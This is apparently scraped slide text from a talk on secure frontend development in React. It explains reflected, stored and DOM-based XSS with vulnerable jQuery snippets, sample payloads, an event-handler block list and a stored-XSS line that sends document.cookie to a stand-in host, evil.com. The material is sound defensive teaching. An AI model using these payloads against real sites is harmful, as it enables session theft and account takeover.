Upload
moscowjs
View
430
Download
6
Embed Size (px)
Citation preview
APPROACHAPPROACHTO WRITING SECURE FRONTEND INTO WRITING SECURE FRONTEND IN
CONTEXT OF REACTCONTEXT OF REACTIvan ElkinApplication Security Expert,
Qiwi
CLIENT SIDE VULNERABILITIESCLIENT SIDE VULNERABILITIES
Is a lack of client-side logic or code whichprovides an attack vector which affects the
end user
(in browser context )
2
and the main pain is...
XSS XSS (CROSS SITE SCRIPTING)(CROSS SITE SCRIPTING)
In a common cases is a type of WEB-attack wheremalicious code
injected in a client-side code
4
REFLECTED XSSREFLECTED XSS
Attack injection when malicious code has beeninjected
after single HTTP request
6
REFLECTED XSSREFLECTED XSS
onResponse: function(response) { var url = document.location; var username = getQueryParam(url, 'username'); var tpl = '<span>Hello {{username}} !</span>'; document.write(tpl.replace(/\{{username\}\}/, username)); }
http://socialnetwork.com/UserSearch?query=asd%22%3Cscript%3Ealert(1)%3C/script%3E
7
<span> Hello <script>alert(1)</script> !</span>
$.get('/search?query=' + query) { success: function(user) { $('.search-list') .append('<div>username: ' + data.user.name + '</div>') .append('<div>username: ' + data.user.email + '</div>') } failure: function(error) { $('.search-list') .html('<div>There is nothing found for query: ' + error.query + '</div>'); }}
REFLECTED XSSREFLECTED XSS
9
<div>There is nothing found for query: asdasdasd"<script>alert(1)</script></div>
.html('<div>There is nothing found for query: ' + error.query + '</div>');
REFLECTED XSSREFLECTED XSS
10
?query=asdasdasd"<script>alert(1)</script>
so, if part of HTML has been injectedinto your code...
<script type="text/javascript">
$.get('user_list', function(data) { var data = JSON.parse(data);
$.each(data, function(key, user) { $('.list-group').append( '<div class="user">' + '<div class="name">' + user.name + '</div>' + '<div class="title">' + user.email + '</div>' + '</div>' ); }); }); </script>
STORED XSSSTORED XSS
14
STORED XSSSTORED XSS
16
<div class="name"> Jane<script>$.get('//evil.com/'+document.cookie)</script> </div>
DOM-BASED XSSDOM-BASED XSS
Unlike Reflected and Stored XSS, canwork without interaction with the server
18
$(document).ready(function() {
$('#btn-back').attr('href', getURLParameterByName('backUrl'))
});
DOM-BASED XSSDOM-BASED XSS
20
<a id="btn-back" href=""<script>alert(1)</script>">Back to Shop</a>
DOM-BASED XSSDOM-BASED XSS
http://bank.com/payment?backUrl="><script>alert(1)</script>
"<script>alert(1)</script>
21
$('#btn-back').attr('href', getURLParameterByName('backUrl'))
but we have one more case....
http://bank.com/payment?backUrl=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ')
"<script>alert(1)</script>"
DOM-BASED XSSDOM-BASED XSS
Base64
22
<a id="btn-back" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> Back to Shop </a>
HOW TO PROTECT MY SITE?HOW TO PROTECT MY SITE?Escaping HTMLEscaping AttributesEscaping JS dataEscaping JSON data Escaping CSS data
23
SAFE TEMPLATINGSAFE TEMPLATING <div class="json-data"> <%= data.to_json %>; </div>
btw, be careful !
25
{"user": { "name": "Jane", "email": "[email protected]", "title": "someone <a href='evil.com'>you</a> know", "mobilePhone": "5123354456" }}
<div class="json-data"> {"user": { "name": "Jane", "email": "[email protected]", "title": "someone <a href='evil.com'>you</a> know", "mobilePhone": "5123354456" }} </div>
<div class="avatar"> <img alt= onerror=alert(1) src=></div>
DETECT KEYWORDSDETECT KEYWORDS<div class="avatar"> <img alt={{avatar.name}} src={{avatar.image}}></div>
avatar: { name: ' onerror=alert(1)' image: ''}
avatar: { name: 'Me in Italy' image: '/images/aajkdshf2347jk/avatar.jpg'}
Handlebars, XTemplate and others... 26
DETECT KEYWORDSDETECT KEYWORDS
var forbidden = [ 'onerror', 'onmouseover', 'onclick'];
if (attribute in forbidden) { return false;}
What about onblur, onchange,onselect, etc. ?
Black Lists
27
var allowed = [ 'title', 'class', 'hidden', ....];
if (attribute in allowed) { add(attribute);}
BE ON A WHITE SIDEBE ON A WHITE SIDE
28
REACT-JSREACT-JS
componentDidMount: function() { this.setState({ data: 'A long time ago in a galaxy far,<br/> far away...' })},
render: function () { return ( <Article className="article"> {this.state.data} </Article> );}
30
REACT-JSREACT-JS
<div class="article" data-reactid=".0">
A long time ago in a galaxy far,<br> far away...
</div>
32
REACT-JSREACT-JS
dangerouslySetInnerHTML
Improper use of the innerHTML can open you up to a
attack. Sanitizing user input for display is notoriously error-prone, and failure to properly sanitize is one
of the on the internet.
cross-site scripting(XSS)
leading causes of web vulnerabilities
Google told me:
33
FACEBOOK TELLSFACEBOOK TELLS
function createMarkup() { return { __html: 'First <br/> Second' }; };
<div dangerouslySetInnerHTML={createMarkup()} />
34
WAT !? 0_o
WHAT IS UNDER THE WHAT IS UNDER THE HOOD ?HOOD ?
35
First of all, what innerHTML is ?
w3c
returns a serialization of the node's children
using the HTML syntax
REACT-JSREACT-JS
/** * @param {DOMElement} node * @param {string} html * @internal */var setInnerHTML = function(node, html) { node.innerHTML = html;};
36
...
if(props.dangerouslySetInnerHTML != null)
...
ReactDOMComponent.js
setInnerHTML.js
REACT-JSREACT-JS
/** * @param {DOMElement} node * @param {string} text * @internal */ var setTextContent = function(node, text) { node.textContent = text; };
otherwise...
w3c
returns the text content of this node and
its descendants...
< == < > == > 37
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
<div data-reactid=".0"> My data </div>
render: function () { return (
; }
<div class="article text-header text-bold" onmouseenter={this.fadeIn} onmouseleave={this.fadeOut}> {this.state.data} </div> )
WAT !? 0_o39
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
SUPPORTED ATTRIBUTES SUPPORTED ATTRIBUTES React supports all data-* and aria-* attributes as well as every attribute in the following lists.
“ Note: All attributes are camel-cased and the attributes class and for are
className and htmlFor, respectively, to match the DOM API specification.
40
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES var HTMLDOMPropertyConfig = { isCustomAttribute: RegExp.prototype.test.bind( /^(data|aria)-[a-z_][a-z\d_.\-]*$/ ), Properties: { /** * Standard Properties */ accept: null, acceptCharset: null, accessKey: null, action: null, allowFullScreen: MUST_USE_ATTRIBUTE | HAS_BOOLEAN_VALUE, allowTransparency: MUST_USE_ATTRIBUTE, alt: null, async: HAS_BOOLEAN_VALUE, autoComplete: null, // autoFocus is polyfilled/normalized by AutoFocusMixin // autoFocus: HAS_BOOLEAN_VALUE, autoPlay: HAS_BOOLEAN_VALUE, cellPadding: null, cellSpacing: null, charSet: MUST_USE_ATTRIBUTE, checked: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE, classID: MUST_USE_ATTRIBUTE, 41
REACT-JS SEVERAL SIMPLE RULESREACT-JS SEVERAL SIMPLE RULESUse safe user input by defaultUse unsafe input only for special forms
Allow only known attributes Doesn't allow inline attribute data
<div> Hello, {{user.name}} </div>
<img src={{user.imgSrc}} alt={{user.title}} />
<div> Hello, <script>alert('you`ve been hacked')</script> </div>
<img src='' alt= newChromeParam=alert('You`ve been Hacked!')/>